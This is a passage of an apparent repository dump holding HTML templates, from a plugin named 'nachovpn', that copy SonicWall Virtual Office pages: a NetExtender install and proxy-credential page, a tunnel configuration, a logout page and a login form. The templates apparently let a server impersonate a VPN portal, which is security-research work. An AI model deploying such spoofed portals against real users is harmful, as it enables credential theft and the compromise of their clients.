valign=\"top\">\n\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t<td colspan=3 width=1 height=10><img src=\"/images/shim.gif\" width=1 height=10></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t\t<td cellpadding=0 cellspacing=0 width=350>\n\t\t\t\t\t\t\t\t\t\t\t<font class=\"toolbar\" style=\"font-size:14px;\"><b><div id=\"status\">&nbsp;</div></b></font>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td colspan=3 cellpadding=0 cellspacing=0 height=3><img src=\"/images/shim.gif\" height=3 width=1></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t\t<td cellpadding=0 cellspacing=0 width=350>\n\t\t\t\t\t\t\t\t\t\t\t<font class=\"toolbar\"><div id=\"detail\">&nbsp;</div></font>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td colspan=3 cellpadding=0 cellspacing=0 height=3><img src=\"/images/shim.gif\" height=3 width=1></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td width=32 height=8><img src=\"/images/shim.gif\" height=8 width=32></td>\n\t\t\t\t\t\t\t\t\t\t<td cellpadding=0 cellspacing=0 width=350 height=8>\n\t\t\t\t\t\t\t\t\t\t<script>\n\t\t\t\t\t\t\t\t\t\t\tprogress_bar = new progressBar(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t1,         //border thickness\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'#8f8f8f', //border colour\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'#ffffff', //background colour\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'#8080ff', //bar colour\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t350,       //width of bar (excluding border)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t8,        //height of bar (excluding border)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t1          //direction of progress: 1 = right, 2 = down, 3 = left, 4 = up\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t\t\t\t\t\t\t</script>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td width=32 height=8><img src=\"/images/shim.gif\" height=8 width=32></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t<td colspan=2 height=5><img src=\"/images/shim.gif\" height=11></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</tbody>\n\t\t\t\t\t</table>\n\t\t\t\t\t</center>\n\t\t\t\t</td>\n\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td colspan=3 height=20><img src=\"/images/shim.gif\" height=20></td>\n\t\t\t</tr>\n\t\t\t</table>\n\t\t</td>\n\t</tr>\n\t<tr id=\"axinstallinstr\">\n\t\t<td>\n\t\t<!-- note for windows 8 -->\n\t<script type='text/javascript'>\n\t\tfunction isIEMetroMode()\n\t\t{\n\t\t\tvar errName \t\t\t= null;\n\t\t\tvar isDesktopMode \t= null;\n\t\t\ttry\n\t\t\t{\n\t\t\t\tnew ActiveXObject(\"\");\n\t\t\t} catch (e)\n\t\t\t{\n\t\t\t\terrName = e.name;\t\n\t\t\t}\n\t\n\t\t\tif( errName == \"ReferenceError\" )\n\t\t\t\treturn false;\n\t\n\t\t\ttry\n\t\t\t{\n\t\t\t\tvar testObj = new ActiveXObject(\"htmlfile\");\n\t\t\t} catch (e)\n\t\t\t{\n\t\t\t\tisDesktopMode = false;\n\t\t\t}\n\t\n\t\t\tif( isDesktopMode == false )\n\t\t\t\treturn true;\n\t\t\telse\n\t\t\t\treturn false;\n\t\t}\n\t\t\n\t\tvar isWin8Metro = false;\n\t\tisWin8Metro = isIEMetroMode();\n\t\tif( isWin8Metro )\n\t\t{\n\t\t\tdocument.write('<center><br>Note:&nbsp;<font color=\\'red\\'>Plugin is not supported on Windows 8 Modern UI. Please switch to Desktop mode manually to install plugin.</font></center>');\n\t\t}\n\t</script>\n\t\t\t<center>\n\t\t\t<br>You may also <b><a href=\"/\">manually download NetExtender</a></b> and run it.  \n\t\t\t<br>You may be required to login again after launching.\n\t\t\t<br><br>\n\t\t\t<br>To get NetExtender for another platform go to the <b><a href=\"/cgi-bin/clientdownloads?client=netextender\">All Downloads</a></b> page.\n\t\t\t<br><br>\n\t\t\t\n\t\t\t<b>NetExtender ActiveX Installer Instructions</b><br>\n\t\t\t<table cellspacing=0 cellpadding=1 width=\"100%\" border=0>\n\t\t\t\t<tr>\n\t\t\t\t\t<td width=\"3%\">&nbsp;</td>\n\t\t\t\t\t<td width=\"25%\"><font class=\"toolbar\"><font size=3><b>Step 1</b></font> - A yellow information bar may appear at the top of the browser.</font></td>\n\t\t\t\t\t<td width=\"70%\"><img src=\"/images/neaxw1.gif\" ></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td  colspan=3 height=5><img src=\"/images/shim.gif\" width=1 height=5></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr valign=top>\n\t\t\t\t\t<td width=\"3%\">&nbsp;</td>\n\t\t\t\t\t<td width=\"25%\"><font class=\"toolbar\"><font size=3><b>Step 2</b></font> - If it does, please click on the yellow bar and choose <b>Install ActiveX Control...</b></font></td>\n\t\t\t\t\t<td width=\"70%\"><img src=\"/images/neaxw2.gif\" ></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td  colspan=3 height=5><img src=\"/images/shim.gif\" width=1 height=5></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr valign=top>\n\t\t\t\t\t<td width=\"3%\">&nbsp;</td>\n\t\t\t\t\t<td width=\"25%\"><font class=\"toolbar\"><font size=3><b>Step 3</b></font> - If a Security Warning window appear, <br>Click <b>Install</b> to proceed.</font></td>\n\t\t\t\t\t<td width=\"70%\"><img src=\"/images/neaxw3.gif\" ></td>\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t\t</center>\n\t\t</td>\n\t</tr>\n\t</table>\n\t   </div>\n\t   <div id=\"neInstallRebootPage\" style=\"top:10px;position:absolute;z-index:1;visibility:hidden\">\n\t<table cellspacing=0 cellpadding=0 width=\"100%\" height = \"100%\" border=0>\n\t<tr>\n\t\t<td  height=20><img src=\"/images/shim.gif\" width=1 height=20></td>\n\t</tr>\n\t<tr>\n\t\t<td>\n\t\t\t<center>\n\t\t\t<b>Before running NetExtender, it is required that you restart your computer.\n\t\t\t</center>\n\t\t</td>\n\t   </tr>\n\t<tr>\n\t\t<td  height=20><img src=\"/images/shim.gif\" width=1 height=20></td>\n\t</tr>\n\t   <tr>\n\t\t<td>\n\t\t\t<center>\n\t\t\t<table cellspacing=0 cellpadding=1 width=\"100%\" border=0>\n\t\t\t\t<tr>\n\t\t\t\t\t<td width=\"30%\">&nbsp;</td>\n\t\t\t\t\t<td colspan=2><input type=radio id=\"neRebootYes\" name=\"neReboot\" value=\"yes\" checked><label for=\"neRebootYes\">Yes, restart immediately (Recommended).</label></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td  colspan=3 height=5><img src=\"/images/shim.gif\" width=1 height=5></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td width=\"30%\">&nbsp;</td>\n\t\t\t\t\t<td colspan=2><input type=radio id=\"neRebootNo\" name=\"neReboot\" value=\"no\"><label for=\"neRebootNo\">No, I will restart my computer later</label></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td  colspan=3 height=40><img src=\"/images/shim.gif\" width=1 height=40></td>\n\t\t\t\t</tr>\n\t\t\t\t<tr>\n\t\t\t\t\t<td colspan=2 width=\"75%\">&nbsp;</td>\n\t\t\t\t\t<td align=\"center\">\n\t\t\t\t\t\t<table border=0 cellpadding=0 cellspacing=0 valign=\"top\">\n\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t<td width=100 height=22 valign=\"top\" align=\"center\">\n\t\t\t\t\t\t\t\t\t<table cellpadding=0 cellspacing=0 border=0 margin=0>\n\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t<td width=99 class=bbcenter align=center valign=center height=21\n\t\t\t\t\t\t\t\t\t\t\t\tstyle=\"padding-bottom:1px;padding-top:1px;\"\n\t\t\t\t\t\t\t\t\t\t\t\tonClick=\"JavaScript:finishInstall();\"\n\t\t\t\t\t\t\t\t\t\t\t\tonMouseOver=\"JavaScript:this.className='bbcenteron';\"\n\t\t\t\t\t\t\t\t\t\t\t\tonMouseOut=\"JavaScript:this.className='bbcenter';\">\n\t\t\t\t\t\t\t\t\t\t\t\t<font class=\"bbuttons\">Finish</font>\n\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t</table>\n\t\t\t\t\t</td>\n\t\n\t\t\t\t</tr>\n\t\t\t</table>\n\t\t\t</center>\n\t\t</td>\n\t</tr>\n\t</table>\n\t   </div>\n\t<div id=\"neproxyAuthPage\" style=\"top:10px;position:absolute;z-index:2;visibility:hidden\">\n\t<table cellspacing=0 cellpadding=0 width=\"100%\" height = \"100%\" border=0>\n\t<tr>\n\t\t<td>\n\t\t\t<table cellspacing=0 cellpadding=0 width=\"100%\" border=0>\n\t\t\t<tr>\n\t\t\t\t<td colspan=3 height=110><img src=\"/images/shim.gif\" height=110></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t<td>\n\t\t\t\t\t<center>\n\t\t\t\t\t<table valign=\"top\" border=0 class=\"logintable\" cellpadding=0 cellspacing=0  style=\"left:0px;\">\n\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t<td cellpadding=10 valign=\"top\">\n\t\t\t\t\t\t\t\t\t<table border=0 cellpadding=1 cellspacing=0 valign=\"top\">\n\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t<td colspan=4 width=1 height=10><img src=\"/images/shim.gif\" width=1 height=10></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t\t<td colspan=2 cellpadding=0 cellspacing=0 width=350>\n\t\t\t\t\t\t\t\t\t\t\t<font class=\"toolbar\" style=\"font-size:14px;\"><b>NetExtender has detected that the proxy server you are using requires authentication:</b></font>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td colspan=4 cellpadding=0 cellspacing=0 height=3><img src=\"/images/shim.gif\" height=3 width=1></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t\t<td cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t\t<font class=\"toolbar\">User Name: </font>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td cellpadding=0 cellspacing=0 width=200>\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"input\" id='proxy_user' style='width:200px;height:20px;' size=20 value='' onFocus=\"if(disabled) blur();\" autocomplete='off'>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t\t<td cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t\t<font class=\"toolbar\">Password: </font>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td cellpadding=0 cellspacing=0 width=200>\n\t\t\t\t\t\t\t\t\t\t\t<input type=\"password\" id='proxy_pass' style='width:200px;height:20px;' size=20 value='' onFocus=\"if(disabled) blur();\" autocomplete='off'>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td colspan=4 cellpadding=0 cellspacing=0 height=8><img src=\"/images/shim.gif\" height=8 width=1></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr cellpadding=0 cellspacing=0>\n\t\t\t\t\t\t\t\t\t\t<td align=\"right\" colspan=4 cellpadding=1 cellspacing=4>\n\t\t\t\t\t\t\t\t\t\t\t<table border=0 cellpadding=0 cellspacing=0 valign=\"top\">\n\t\t\t\t\t\t\t\t\t\t\t\t<tbody>\n\t\t\t\t\t\t\t\t\t\t\t\t\t<tr >\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td width=100 height=22 valign=\"top\" align=\"center\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t<table cellpadding=0 cellspacing=0 border=0 margin=0>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<td width=99 class=bbcenter align=center valign=center height=21\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tstyle=\"padding-bottom:1px;padding-top:1px;\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonClick=\"JavaScript:onProxyAuthNextBtn();\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonMouseOver=\"JavaScript:this.className='bbcenteron';\"\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tonMouseOut=\"JavaScript:this.className='bbcenter';\">\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<a href=\"#\"><font class=\"bbuttons\">Continue</font></a>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t\t\t\t</tbody>\n\t\t\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t\t\t\t<td width=8><img src=\"/images/shim.gif\" height=1 width=8></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t<tr>\n\t\t\t\t\t\t\t\t\t\t<td colspan=4 height=5><img src=\"/images/shim.gif\" height=11></td>\n\t\t\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t\t\t\t</table>\n\t\t\t\t\t\t\t\t</td>\n\t\t\t\t\t\t\t</tr>\n\t\t\t\t\t\t</tbody>\n\t\t\t\t\t</table>\n\t\t\t\t\t</center>\n\t\t\t\t</td>\n\t\t\t\t<td width=32><img src=\"/images/shim.gif\" height=1 width=32></td>\n\t\t\t</tr>\n\t\t\t<tr>\n\t\t\t\t<td colspan=3 height=20><img src=\"/images/shim.gif\" height=20></td>\n\t\t\t</tr>\n\t\t\t</table>\n\t\t</td>\n\t</tr>\n\t</table>\n\t</div>\n\t\n\t</body></html>"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/launchplatform.html",
    "content": "<html><head><meta http-equiv='Content-Type' content='text/html;charset=UTF-8'><title>Virtual Office</title><meta http-equiv='pragma' content='no-cache'><meta http-equiv='cache-control' content='no-cache'><meta http-equiv='cache-control' content='must-revalidate'><META NAME=\"ROBOTS\" CONTENT=\"NOINDEX, NOFOLLOW\"><link href='/themes/styleblueblackgrey.10.2.1.7-50sv.css' rel=stylesheet type='text/css'>\n    SessionId = py0nwVXgydGW17JQXQRq6nYdObmqUQyrzEUTbK8os8I=\n    Route = 192.168.200.0/255.255.255.0\n    ipv6Support = no\n    Compression = yes\n    dns1 = 1.1.1.1\n    dns2 = 8.8.8.8\n    pppFrameEncoded = 0\n    PppPref = async\n    displayName = user\n    NX_TUNNEL_PROTO_VER = 2.0\n    TunnelAllMode = 0\n    UninstallAfterExit = 0;\n    ExitAfterDisconnect = 0;\n    NoProfileCreate = 0;\n    AllowSavePassword = 0;\n    AllowSaveUser = 1;\n    AllowSavePasswordInKeychain = 0;\n    AllowSavePasswordInKeystore = 0;\n    AllowSavePasswordInKeychainMac = 0;\n    AllowSavePasswordInKeychainFaceIDiOS = 0;\n    AllowDisableUpdate = 0;\n    </html>"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/logout.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\n\"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv='Content-Type' content='text/html;charset=UTF-8'>\n<title>Virtual Office</title>\n<meta http-equiv='pragma' content='no-cache'>\n<meta http-equiv='cache-control' content='no-cache'>\n<meta http-equiv='cache-control' content='must-revalidate'>\n<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\">\n<link href='/swl_login.10.2.1.7-50sv.css' type='text/css' rel='stylesheet'>\n<link href='/swl_header.10.2.1.7-50sv.css' type='text/css' rel='stylesheet'>\n<link type=\"text/css\" href='/sma_content_overrides.10.2.1.7-50sv.css' rel='stylesheet'>\n<link href='/sma_login_overrides.10.2.1.7-50sv.css' type='text/css' rel='stylesheet'>\t\t\n<script src=\"/js/jquery.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n\n<script src=\"/js/jquery.cookie.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/portalframe.10.2.1.7-50sv.js\"></script>\n<script type='text/javascript'>\n\n\t/* delete cookies set by rproxy bookmarks set for '/' */\n\n\t$.each(document.cookie.split(/; */), function(index, cookieString)  {\n\t  var splitCookie = cookieString.split('=');\n\t  if(splitCookie[0].match(/^(__proxy_ssl_vpn_|sw_sso_fba_)/))\n\t  {\n\t  \t$.cookie(splitCookie[0], \"null\", { expires: -1, path: '/' });\n\t  }\n\t});\n\n\tfunction winclose(){\n\t\twindow.open('','_parent','');\n\t\twindow.close();\n\t}\n\t$(document).ready(function() {\n\t\n\t\tif(window!=top) {\n\t\t\ttop.location.href=window.document.location;\n\t\t}\n\t\tif (!$.browser.ie) {\n\t\t\t$('#securityMsg').text(\"For security reasons, you should close this window.\");\n\t\t}\n\t\t\n\t\t\twindow.opener='';\n\t\t\twindow.open('','_parent','');\n\t\t\twindow.close();\n\t\t\n\t\n\t});\n</script>\n\n\t<style type='text/css'>\n\t\t#banner_logo { background: url(/images/logo/VirtualOffice.gif) no-repeat left center; }\n\t</style>\n\n\n<style>\n#custom-logo {\n\tbackground: url('/images/logo/VirtualOffice.gif') no-repeat left center;\n\twidth: 146px;\n\theight: 67px;\n\n}\n</style>\n\n</head>\n<body>\n\t<div id='login_box_sonicwall'  class='login_box_custom' >\n\t\t\n\t\t\t<div class=\"row-1\">\n\t\t\t\t<div id=\"custom-logo\" class=\"logo\"></div>\n\t\t\t\t<div class=\"product-logo-txt\">Virtual Office</div>\n\t\t\t</div>\n\t\t\n\t\t<div id='login_box_fields'>\n\t\t\t<noscript><font color=red>Please enable JavaScript on your browser before proceeding.</font></noscript>\n\t\t\t<div id=\"invalid\"  >\n\t\t\t\t<div id=\"invalid_text\"></div>\n\t\t\t</div>\n\t\t\t<div id='login_table'>\n\t\t\t\t<p><b>You have successfully logged out.</b></p>\n\t\t\t\t<p>\n\t\t\t\t\n\t\t\t\t\t<span id='securityMsg'>For security reasons, you should <a href=\"javascript:winclose();\">close this window</a>.</span>\n\t\t\t\t\n\t\t\t\t</p>\n\t\t\t</div>\n\t\t</div>\n\t</div>\n</body>\n</html>\n\n<SCRIPT LANGUAGE=\"VBScript\">\n<!--\nSub window_onLoad()\ncall winclose()\nend sub\n-->\n</script>\n</body></html>"
  },
  {
    "path": "src/nachovpn/plugins/sonicwall/templates/welcome.html",
    "content": "<!doctype html>\n<html>\n<head>\n<meta http-equiv='Content-Type' content='text/html;charset=UTF-8'>\n<title>Virtual Office</title>\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n<meta http-equiv='pragma' content='no-cache'>\n<meta http-equiv='cache-control' content='no-cache'>\n<meta http-equiv='cache-control' content='must-revalidate'>\n<meta name=\"ROBOTS\" content=\"NOINDEX, NOFOLLOW\">\n<!-- Windows 8.1 custom tile settings in 'Immersive' mode -->\n\n<meta name=\"application-name\" content=\"VirtualOffice\" />\n\n<meta name=\"msapplication-TileColor\" content=\"#0085C3\" />\n<meta name=\"msapplication-square70x70logo\" content=\"/images/logo/VirtualOffice.gif\" />\n<meta name=\"msapplication-square150x150logo\" content=\"/images/logo/VirtualOffice.gif\" />\n<meta name=\"msapplication-wide310x150logo\" content=\"/images/logo/VirtualOffice.gif\" />\n<meta name=\"msapplication-square310x310logo\" content=\"/images/logo/VirtualOffice.gif\" />\n<!-- End Windows 8.1 custom tile settings in 'Immersive' mode -->\n\n\n<link rel=\"shortcut icon\" href=\"/favicon.ico\"/>\n\n<link type=\"text/css\" href=\"/swl_styles.10.2.1.7-50sv.css\" rel=\"stylesheet\">\n<link href='/swl_login.10.2.1.7-50sv.css' type='text/css' rel='stylesheet'>\n<link href='/swl_header.10.2.1.7-50sv.css' type='text/css' rel='stylesheet'>\n<link href='/sma_content_overrides.10.2.1.7-50sv.css' type='text/css' rel='stylesheet'>\n<link href='/sma_login_overrides.10.2.1.7-50sv.css' type='text/css' rel='stylesheet'>\n<link href=\"/notificationbar.10.2.1.7-50sv.css\" type=\"text/css\" rel=\"stylesheet\">\n<script src=\"/js/jquery.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/jquery.cookie.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/jquery.form.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/jquery.validate.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/jquery.qrcode.min.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/mainframe.10.2.1.7-50sv.js\"></script>\n<script src=\"/js/base64.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/schemeurl.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script src=\"/js/login.10.2.1.7-50sv.js\" type=\"text/javascript\" charset=\"utf-8\"></script>\n<script type='text/javascript'>\ntry {\n\tif (window.opener && window != window.opener && window.opener.location.host == window.location.host) {\n\t\twindow.opener.top.location.href = location.href;\n\t\twindow.close();\n\t}\n} catch (err) {\n\t// This happens if the opener was not the SSL-VPN; nothing to worry about\n}\nif(window!=top) {\n\ttop.location.href=location.href;\n}\n</script>\n<script type='text/javascript'>\n\n\twindow.status = window.defaultStatus = \"Virtual Office\";\n\n\n\t$(document).ready(function () {\n\n\n\n\n\n\n\n\n\n\n\t\t// @Note, check legcy UI warning hide flag\n\t\tif (window.localStorage.getItem(\"legcyUIWarningHideFlag\") === null) {\n\t\t\tshowLegcyUIWarning();\n\t\t}\n\t});\n\nfunction showLoginBoxFields(domainIndex)\n{\n\tvar f = document.Login;\n\n\tif (typeof(isCAArray)!='undefined' && isCAArray[domainIndex])\n\t{\n\t\tf.username.value = \"\";\n\t\tf.password.value = \"\";\n\t\tf.username.disabled = true;\n\t\tf.password.disabled = true;\n\t\tf.action = \"/cert-bin/certVerifyLogin\";\n\t\tf.verifyCert.value = 1;\n\t\tf.loginButton.focus();\n\t}\n\telse if (typeof(isSAMLArray)!='undefined' && isSAMLArray[domainIndex])\n\t{\n\t\tf.username.value = \"\";\n\t\tf.password.value = \"\";\n\t\tf.username.disabled = true;\n\t\tf.password.disabled = true;\n\t\tf.loginButton.focus();\n\t\tf.verifyCert.value = 0;\n\t\tf.isSaml = \"true\";\n\t\tf.action = \"/cgi-bin/userLogin\";\n\t}\n\telse\n\t{\n\t\tf.username.disabled = false;\n\t\tf.password.disabled = false;\n\t\tf.verifyCert.value = 0;\n\t\tf.action = \"/cgi-bin/userLogin\";\n\t\tf.isSaml = \"false\";\n\t}\n}\n\nfunction autoCertLogin()\n{\n\tif (typeof(isCAArray)!='undefined' && isCAArray.length==1 && isCAArray[0])\n\t{\n\t\tdocument.Login.loginButton.click();\n\t}\n}\n\nfunction setCookie(cname, cvalue) {\n  var d = new Date();\n  d.setTime(d.getTime() + (2*365*24*60*60*1000)); //2 year\n  var expires = \"expires=\"+ d.toUTCString();\n  document.cookie = cname + \"=\" + cvalue + \";\" + expires + \";path=/\" + \";secure\";\n}\n\nfunction useContemporaryUI()\n{\n\tsetCookie(\"uimode\", \"contemporary\");\n\twindow.location.href = \"/spog/welcome\";\n}\n\nfunction showLegcyUIWarning() {\n\t$('#legcyUIWarning').show();\t\n}\nfunction hideLegcyUIWarning() {\n\twindow.localStorage.setItem(\"legcyUIWarningHideFlag\", true);\n\tcloseLegcyUIWarning();\n}\n\nfunction closeLegcyUIWarning() {\n\t$('#legcyUIWarning').hide();\t\n}\n\n</script>\n\n\n</head>\n<body onload=\"autoCertLogin();\">\n\n\t<div id='login_box_sonicwall' >\n\n\t\t\t<div id='login_box_fields'>\n\n\t\t\t\t<noscript><font color=red>Please enable JavaScript on your browser before proceeding.</font></noscript>\n\t\t\t\t<div id=\"invalid\"  >\n\t\t\t\t\t<div id=\"invalid_text\"></div>\n\t\t\t\t</div>\n\t\t\t\t<div id='login_table'>\n\t\t\t\t\t<div id='userPassFormContainer'>\n\t\t\t\t\t\t<form name=\"Login\" action=\"/cgi-bin/userLogin\" method=\"post\">\n\n\t\t\t\t\t\t\t<label for='username'>Username:</label>\n\t\t\t\t\t\t\t<input type='text' name='username' id='username' class='required' autocomplete='off'><br>\n\n\t\t\t\t\t\t\t<label for='password'>Password:</label>\n\t\t\t\t\t\t\t<input type='password' name='password' id='password' class='required' autocomplete='off'><br>\n\t\t\t\t\t\t\t<label for='domain'>Domain:</label>\n <!-- Show Domains list box by default -->\n\t\t\t\t\t\t\t<select name='domain' id='domain' onchange = \"showLoginBoxFields(this.selectedIndex);\">\n\t\t\t\t\t\t\t\t<option value=\"LocalDomain\">LocalDomain</option><script> var isCAArray =new Array(); isCAArray[0] = 0;</script><script> var isSAMLArray =new Array(); </script>\n\t\t\t\t\t\t\t</select>\n\n\t\t\t\t\t\t\t<div class='buttons'>\n\t\t\t\t\t\t\t\t<input name=\"loginButton\" id=\"loginButton\" type=\"submit\" value=\"Login\" class='button' autocomplete='off'>\n\t\t\t\t\t\t\t</div>\n <!--PERSISTENT_COOKIE-->\n\n <!--LOGIN_PENDING-->\n\t\t\t\t\t\t\t<div class='processing'>\n\t\t\t\t\t\t\t\t<img src='/images/loading_spinner.gif' alt='Processing...'> Processing...\n\t\t\t\t\t\t\t</div>\n\t\t\t\t\t\t\t<input type=\"hidden\" name=\"state\" value=\"login\">\n\t\t\t\t\t\t\t<input type=\"hidden\" name=\"login\" value=\"true\">\n\t\t\t\t\t\t\t<input type=\"hidden\" name=\"web\" value=\"true\">\n\t\t\t\t\t\t\t<input type=\"hidden\" name=\"verifyCert\" 